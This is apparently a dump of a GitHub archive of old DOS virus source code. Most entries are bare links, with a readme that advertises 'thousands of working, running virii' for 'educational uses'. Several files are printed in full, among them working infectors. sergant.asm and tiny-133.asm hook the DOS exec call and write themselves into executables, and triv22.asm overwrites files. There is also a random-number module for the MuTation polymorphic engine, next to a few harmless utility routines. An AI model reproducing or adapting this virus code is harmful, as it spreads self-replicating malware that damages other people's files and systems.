https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/r/random.asm -------------------------------------------------------------------------------- /virus/r/rapbetr.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/r/rapbetr.asm -------------------------------------------------------------------------------- /virus/r/raver.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/r/raver.asm -------------------------------------------------------------------------------- /virus/r/rb2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/r/rb2.asm -------------------------------------------------------------------------------- /virus/r/rce.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/r/rce.asm -------------------------------------------------------------------------------- /virus/r/readme.txt: -------------------------------------------------------------------------------- 1 | 2 | Official Alliance Virii Archives: 3 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 4 | Maintained and Managed by Rhys and Hasy 5 | 6 | This is one of many ZIP archive files that, all together, contain 7 | literally thousands of working, running virii. Enjoy. 8 | 9 | All you must do to avoid infection is make sure that no idiot 10 | runs these. 11 | 12 | These virii are for educational uses only. I will not be 13 | responsible for what you do with these. 14 | 15 | - Rhys 16 | http://www.ilf.net/rdu/ 17 | 18 | I have added some new virii. 19 | History: 20 | V 1: 611 virii 21 | V 2: 752 virii 22 | V 3: 798 virii 23 | 24 | - Hasy 25 | http://www.angelfire.com/al/hasy/ 26 | -------------------------------------------------------------------------------- /virus/r/redmerc.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/r/redmerc.asm -------------------------------------------------------------------------------- /virus/r/return-f.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/r/return-f.asm -------------------------------------------------------------------------------- /virus/r/rizwi.a86: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/r/rizwi.a86 -------------------------------------------------------------------------------- /virus/r/rnd.asm: -------------------------------------------------------------------------------- 1 | 2 | ; A pseudo random numbers generator 3 | ; for use with the MuTation Engine 4 | 5 | ; Version 1.01 (26-10-91) 6 | ; (C) 1991 CrazySoft, Inc. 7 | 8 | .model tiny 9 | .code 10 | 11 | public rnd_init, rnd_get, rnd_buf, data_top 12 | 13 | rnd_init: 14 | push ds si dx cx bx 15 | xor ah,ah 16 | int 1ah 17 | in al,[40h] 18 | mov ah,al 19 | in al,[40h] 20 | xor ax,cx 21 | xor dx,ax 22 | push cs 23 | pop ds 24 | mov si,offset rnd_buf 25 | xor bh,bh 26 | jmp short rnd_put 27 | rnd_get: 28 | push ds si dx cx bx 29 | push cs 30 | pop ds 31 | mov si,offset rnd_buf 32 | mov bl,[si] 33 | xor bh,bh 34 | mov ax,[bx+si+2] 35 | mov dx,[bx+si+4] 36 | add byte ptr [si],4 37 | mov cx,7 38 | rnd_lup: 39 | shl ax,1 40 | rcl dx,1 41 | mov bl,al 42 | xor bl,dh 43 | jns nxt_bit 44 | inc al 45 | nxt_bit: 46 | loop rnd_lup 47 | rnd_put: 48 | mov bl,[si+1] 49 | mov [bx+si+2],ax 50 | mov [bx+si+4],dx 51 | add bl,4 52 | mov [si+1],bl 53 | mov al,dl 54 | cmp bl,[si] 55 | jnz rnd_done 56 | add byte ptr [si],4 57 | rnd_done: 58 | pop bx cx dx si ds 59 | ret 60 | 61 | .data 62 | 63 | rnd_buf dw 129 dup(?) 64 | 65 | data_top: 66 | 67 | end 68 |  -------------------------------------------------------------------------------- /virus/r/root.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/r/root.asm -------------------------------------------------------------------------------- /virus/r/rtl4.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/r/rtl4.asm -------------------------------------------------------------------------------- /virus/r/rtm.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/r/rtm.asm -------------------------------------------------------------------------------- /virus/r/rush_vir.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/r/rush_vir.asm -------------------------------------------------------------------------------- /virus/s/s35.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/s35.asm -------------------------------------------------------------------------------- /virus/s/saclink.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/saclink.asm -------------------------------------------------------------------------------- /virus/s/sauron.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/sauron.asm -------------------------------------------------------------------------------- /virus/s/screamii.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/screamii.asm -------------------------------------------------------------------------------- /virus/s/scrn4.asm: -------------------------------------------------------------------------------- 1 | TITLE scrn4.asm 2 | 3 | ; AUTHOR Tim Spencer - Compuserve [73657,1400] 4 | ; DATE March 19, 1987 5 | 6 | _TEXT SEGMENT BYTE PUBLIC 'CODE' 7 | _TEXT ENDS 8 | 9 | _DATA SEGMENT WORD PUBLIC 'DATA' 10 | _DATA ENDS 11 | 12 | DGROUP GROUP _DATA 13 | ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:NOTHING 14 | 15 | 16 | _TEXT SEGMENT BYTE PUBLIC 'CODE' 17 | 18 | ;-----------------------------------------------------------------------; 19 | ; vcard_type - Tests for type of video card in use ; 20 | ; ; 21 | ; Returns: 0 = MONOCHROME ADAPTER ; 22 | ; 1 = COLOR GRAPHICS ADAPTER ; 23 | ; 2 = ENHANCED GRAPHICS ADAPTER ; 24 | ;-----------------------------------------------------------------------; 25 | 26 | PUBLIC _vcard_type 27 | 28 | _vcard_type PROC NEAR 29 | push es 30 | mov ax,40h ; point es to BIOS area 31 | mov es,ax 32 | mov al,es:[87h] ; is there an EGA card? 33 | cmp al,0 34 | je mono_test ; no ega, check for mono 35 | test al,00001000b ; test bit 3 36 | jnz mono_test ; bit 3 was set - ega not active card 37 | mov ax,2 ; ega is in use...return a 2 38 | jmp short exit 39 | mono_test: 40 | mov al,es:[10h] ; get video status byte 41 | and al,00110000b ; isolate bits 4 and 5 42 | cmp al,48 ; is it a mono card? 43 | jne assume_cga ; no, assume it's a cga 44 | mov ax,0 ; return 0 for mono card 45 | jmp short exit 46 | assume_cga: 47 | mov ax,1 ; return a 1 for cga card 48 | exit: pop es 49 | ret 50 | _vcard_type ENDP 51 | 52 | _TEXT ENDS 53 | 54 | END 55 |  -------------------------------------------------------------------------------- /virus/s/sd-swe.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/sd-swe.asm -------------------------------------------------------------------------------- /virus/s/sergant.asm: -------------------------------------------------------------------------------- 1 | .286 2 | .model tiny 3 | .radix 16 4 | .code 5 | a equ 0D6 6 | org 100 7 | e: dec bp 8 | push cs 9 | push si 10 | push cs 11 | mov al,2E 12 | push ax 13 | mov es,ax 14 | xor di,di 15 | mov cl,l-e 16 | rep movsb ;es:di = 2F:l-e ds:si = CS:l-e+100 17 | push n-e 18 | retf 19 | n: push si 20 | mov si,84 21 | mov ds,cx 22 | cmp [si],ax 23 | jz f 24 | movsw 25 | mov [si-2],ax 26 | xchg [si],ax 27 | stosw 28 | f: pop si 29 | pop es ;es = CS 30 | push es 31 | pop ds ;ds = CS 32 | lodsw 33 | xchg cx,ax 34 | pop di 35 | push di 36 | rep movsb ;es:di = CS:100 37 | retf 38 | h: pusha 39 | push ds 40 | push es 41 | xor ah,4bh 42 | jnz j ;if not 'exec' 43 | mov ax,3D02 ;open file 44 | int a 45 | jc j ;if not found 46 | xchg bx,ax ;bx = handler 47 | mov ch,8C 48 | mov ds,cx ;8C??:2 buffer 49 | push ds 50 | pop es 51 | mov ch,0FA ;all bytes 52 | xor di,di 53 | mov dx,2 54 | mov ah,3F 55 | int a ;read all bytes 56 | cld 57 | stosw 58 | cmp byte ptr [di],4dh 59 | jz i 60 | add ax,dx 61 | push ax 62 | mov ax,4200 63 | cwd 64 | mov cx,dx 65 | int a 66 | mov ah,40 67 | push cs 68 | pop ds ;ds = 31 69 | mov cl,l-e 70 | int a ;write virus code 71 | mov ah,40 72 | push es 73 | pop ds 74 | pop cx 75 | int a 76 | i: mov ah,3E 77 | int a 78 | j: pop es 79 | pop ds 80 | popa 81 | r: db 0EA 82 | l: dw 30 83 | d: mov dx,c-d+100 84 | mov ah,09 85 | int 21h 86 | ret 87 | c: db ' Virus loader by SergSoft (c)1991',0D,0A,24 88 | end e 89 | -------------------------------------------------------------------------------- /virus/s/sex666.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/sex666.asm -------------------------------------------------------------------------------- /virus/s/sh.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/sh.asm -------------------------------------------------------------------------------- /virus/s/sh.map: -------------------------------------------------------------------------------- 1 | 2 | Start Stop Length Name Class 3 | 4 | 00000H 0131FH 01320H _TEXT CODE 5 | 01320H 01320H 00000H _DATA DATA 6 | 01320H 0171FH 00400H STACK STACK 7 | 8 | Program entry point at 0000:0000 9 | 10 | -------------------------------------------------------------------------------- /virus/s/shellt.asm: -------------------------------------------------------------------------------- 1 | ;assembly language shell for a simple COM file program 2 | 3 | 4 | MAIN SEGMENT BYTE 5 | ASSUME CS:MAIN,DS:MAIN,SS:NOTHING 6 | 7 | ORG 100H 8 | 9 | START: 10 | 11 | FINISH: mov ah,4CH 12 | mov al,0 13 | int 21H ;terminate normally with DOS 14 | 15 | MAIN ENDS 16 | 17 | 18 | END START 19 |  -------------------------------------------------------------------------------- /virus/s/simpson.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/simpson.asm -------------------------------------------------------------------------------- /virus/s/sims.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/sims.asm -------------------------------------------------------------------------------- /virus/s/slim1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/slim1.asm -------------------------------------------------------------------------------- /virus/s/slim2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/slim2.asm -------------------------------------------------------------------------------- /virus/s/smal.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/smal.asm -------------------------------------------------------------------------------- /virus/s/smile.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/smile.asm -------------------------------------------------------------------------------- /virus/s/smile1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/smile1.asm -------------------------------------------------------------------------------- /virus/s/smurf.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/smurf.asm -------------------------------------------------------------------------------- /virus/s/soitgoes.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/soitgoes.asm -------------------------------------------------------------------------------- /virus/s/spyte.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/spyte.asm -------------------------------------------------------------------------------- /virus/s/squish.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/squish.asm -------------------------------------------------------------------------------- /virus/s/stack.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/stack.asm -------------------------------------------------------------------------------- /virus/s/stackvir.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/stackvir.asm -------------------------------------------------------------------------------- /virus/s/stnd.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/stnd.asm -------------------------------------------------------------------------------- /virus/s/stoned2a.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/stoned2a.asm -------------------------------------------------------------------------------- /virus/s/stoned_f.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/stoned_f.asm -------------------------------------------------------------------------------- /virus/s/stonedii.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/stonedii.asm -------------------------------------------------------------------------------- /virus/s/subcon.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/subcon.asm -------------------------------------------------------------------------------- /virus/s/subr.asm: -------------------------------------------------------------------------------- 1 | SUBR PROC FAR 2 | SPACE 3 | ; ------------------------------------------------------------------- 4 | ; ADD BCD NUMBERS 5 | ; THIS ROUTINE ADDS TWO BCD NUMBERS OF EQUAL LENGTH 6 | ; ASSUMPTIONS: 7 | ; CX CONTAINS THE LENGTH OF THE FIELDS BEING ADDED 8 | ; SI POINTS TO THE LEFTMOST BYTE OF THE BCD DATA 9 | ; DI POINTS TO THE SECOND OPPERAND WHICH IS OVERLAID BY RESULT 10 | ; AX DESTROYED BY THIS ROUTINE 11 | ; 12 | BCDADD LABEL FAR 13 | CLC ;CLEAR CARY FLAG 14 | BCD1 LABEL NEAR 15 | MOV AL,[SI] ;GET A DATA BYTE 16 | ADC AL,[DI] ;ADD A BYTE 17 | DAA ;ADJUST RESULT 18 | MOV [DI],AL ;STORE ANSWER 19 | INC SI ;BUMP POINTER 20 | INC DI ;BUMP POINTER 21 | DEC CX ;DECREMENT AND TEST 22 | JNZ BCD1 ;LOOP TILL DONE 23 | RET ;BACK TO CALLER 24 | SPACE 2 25 | ; ADD ASCII NUMBERS 26 | ; LINKAGE IS SAME AS ABOVE 27 | ; 28 | ASCADD LABEL FAR 29 | CLC ;CLEAR CARRY FLAG 30 | ASC1 LABEL NEAR 31 | MOV AL,[SI] ;GET A BYTE 32 | ADC AL,[DI] ;ADD DATA 33 | AAA ;ADJUST RESULT 34 | MOV [DI],AL ;STORE ANSWER 35 | INC SI ;BUMP POINTER 36 | INC DI ;BUMP POINTER 37 | DEC CX ;LOOP CONTROL 38 | JNZ ASC1 ;LOOP FOR MORE 39 | RET 40 | ; 41 | ; ------------------------------------------------------------- 42 | SUBR ENDP 43 |  -------------------------------------------------------------------------------- /virus/s/summer97.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/summer97.rar -------------------------------------------------------------------------------- /virus/s/sumsdos.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/sumsdos.asm -------------------------------------------------------------------------------- /virus/s/super.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/super.asm -------------------------------------------------------------------------------- /virus/s/survive.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/survive.asm -------------------------------------------------------------------------------- /virus/s/swap.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/swap.asm -------------------------------------------------------------------------------- /virus/s/swap.vir: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/swap.vir -------------------------------------------------------------------------------- /virus/s/swapping.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/swapping.asm -------------------------------------------------------------------------------- /virus/s/syslock.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/s/syslock.asm -------------------------------------------------------------------------------- /virus/t/t-1000.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/t-1000.asm -------------------------------------------------------------------------------- /virus/t/t3.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/t3.asm -------------------------------------------------------------------------------- /virus/t/target.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/target.asm -------------------------------------------------------------------------------- /virus/t/taz-1973.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/taz-1973.asm -------------------------------------------------------------------------------- /virus/t/taz-2197.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/taz-2197.asm -------------------------------------------------------------------------------- /virus/t/taz-2208.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/taz-2208.asm -------------------------------------------------------------------------------- /virus/t/taz-2209.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/taz-2209.asm -------------------------------------------------------------------------------- /virus/t/taz-2276.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/taz-2276.asm -------------------------------------------------------------------------------- /virus/t/tbyte.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tbyte.asm -------------------------------------------------------------------------------- /virus/t/test1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/test1.asm -------------------------------------------------------------------------------- /virus/t/test2.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/test2.asm -------------------------------------------------------------------------------- /virus/t/test3.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/test3.asm -------------------------------------------------------------------------------- /virus/t/thunder.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/thunder.asm -------------------------------------------------------------------------------- /virus/t/time.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/time.asm -------------------------------------------------------------------------------- /virus/t/timebomb.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/timebomb.asm -------------------------------------------------------------------------------- /virus/t/timebomb.doc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/timebomb.doc -------------------------------------------------------------------------------- /virus/t/tiny-133.asm: -------------------------------------------------------------------------------- 1 | VSize = 085h 2 | 3 | Code Segment 4 | Assume CS:Code 5 | Org 600h 6 | 7 | Bytes db 0CDh,20h,90h,90h 8 | 9 | Start: mov si, 0100h 10 | mov bx, offset Int21 11 | mov cx, 0050h 12 | mov di, si 13 | add si, [si+2] 14 | push di 15 | movsw 16 | movsw 17 | mov es, cx 18 | cmpsb 19 | je StartFile 20 | dec si 21 | dec di 22 | rep movsw 23 | mov es, cx 24 | xchg ax, bx 25 | xchg ax, cx 26 | Loop0: xchg ax, cx 27 | xchg ax, word ptr es:[di-120h] 28 | stosw 29 | jcxz Loop0 30 | xchg ax, bx 31 | StartFile: 32 | push ds 33 | pop es 34 | ret 35 | 36 | Int21: cmp ax, 4B00h 37 | jne End21 38 | Exec: push ax bx dx ds es 39 | mov ax, 3D02h 40 | call DoInt21 41 | jc EndExec 42 | cbw ; Zero AH 43 | cwd ; Zero DX 44 | mov bx, si ; Move handle to BX 45 | mov ds, ax ; Set DS and ES to 60h, 46 | mov es, ax ; the virus data segment 47 | mov ah, 3Fh ; Read first 4 bytes 48 | int 69h 49 | mov al, 4Dh 50 | scasb ; Check for 4D5Ah or infected file mark 51 | je Close ; .EXE or already infected 52 | mov al, 2 53 | call LSeek ; Seek to the end, SI now contains file size 54 | mov cl, VSize ; Virus size in CX, prepare to write 55 | int 69h ; AH is 40h, i.e. Write operation 56 | mov ax, 0E94Dh ; Virus header in AX 57 | stosw ; Store it 58 | xchg ax, si ; Move file size in AX 59 | stosw ; Complete JMP instruction 60 | xchg ax, dx ; Zero AX 61 | call LSeek ; Seek to the beginning 62 | int 69h ; AH is 40h, write the virus header 63 | Close: mov ah,3Eh ; Close the file 64 | int 69h 65 | EndExec: pop es ds dx bx ax 66 | End21: jmp dword ptr cs:[69h * 4] 67 | 68 | LSeek: mov ah, 42h ; Seek operation 69 | cwd ; Zero DX 70 | DoInt21: xor cx, cx ; External entry for Open, zero cx 71 | int 69h 72 | mov cl, 4 ; 4 bytes will be read/written 73 | xchg ax, si ; Store AX in SI 74 | mov ax, 4060h ; Prepare AH for Write 75 | xor di, di ; Zero DI 76 | ret 77 | 78 | VLen = $ - offset Bytes 79 | 80 | Code EndS 81 | End 82 | -------------------------------------------------------------------------------- /virus/t/tiny-134.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tiny-134.asm -------------------------------------------------------------------------------- /virus/t/tiny-138.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tiny-138.asm -------------------------------------------------------------------------------- /virus/t/tiny-143.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tiny-143.asm -------------------------------------------------------------------------------- /virus/t/tiny-154.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tiny-154.asm -------------------------------------------------------------------------------- /virus/t/tiny-156.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tiny-156.asm -------------------------------------------------------------------------------- /virus/t/tiny-158.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tiny-158.asm -------------------------------------------------------------------------------- /virus/t/tiny-159.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tiny-159.asm -------------------------------------------------------------------------------- /virus/t/tiny-160.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tiny-160.asm -------------------------------------------------------------------------------- /virus/t/tiny-163.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tiny-163.asm -------------------------------------------------------------------------------- /virus/t/tiny-167.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tiny-167.asm -------------------------------------------------------------------------------- /virus/t/tiny-198.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tiny-198.asm -------------------------------------------------------------------------------- /virus/t/tiny-f.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tiny-f.asm -------------------------------------------------------------------------------- /virus/t/tinyd.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tinyd.asm -------------------------------------------------------------------------------- /virus/t/tit.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tit.asm -------------------------------------------------------------------------------- /virus/t/tony-f.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tony-f.asm -------------------------------------------------------------------------------- /virus/t/torero.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/torero.asm -------------------------------------------------------------------------------- /virus/t/torment.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/torment.asm -------------------------------------------------------------------------------- /virus/t/tracebck.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tracebck.asm -------------------------------------------------------------------------------- /virus/t/trekwar.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/trekwar.asm -------------------------------------------------------------------------------- /virus/t/triv22.asm: -------------------------------------------------------------------------------- 1 | ;22 Byte Trivial Virus 2 | ;Use WASM to assemble 3 | 4 | org 100h 5 | 6 | db '*.*',0 7 | 8 | mov ah,4eh 9 | Again 10 | mov dx,si 11 | int 21h 12 | mov ah,3ch 13 | mov dx,9eh 14 | int 21h 15 | xchg bx,ax 16 | mov ah,40h 17 | jmps Again 18 | -------------------------------------------------------------------------------- /virus/t/tsd1.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tsd1.asm -------------------------------------------------------------------------------- /virus/t/turbo.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/turbo.asm -------------------------------------------------------------------------------- /virus/t/turbo99.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/turbo99.asm -------------------------------------------------------------------------------- /virus/t/turbo99.lst: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/turbo99.lst -------------------------------------------------------------------------------- /virus/t/tw.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/tw.asm -------------------------------------------------------------------------------- /virus/t/twelve.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/twelve.asm -------------------------------------------------------------------------------- /virus/t/twer_com.asm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rdebath/viruses/27db20b65ace5d511fa2a969c1353a2e1eecb7b0/virus/t/twer_com.asm -------------------------------------------------------------------------------- /virus/t/typo.asm: -------------------------------------------------------------------------------- 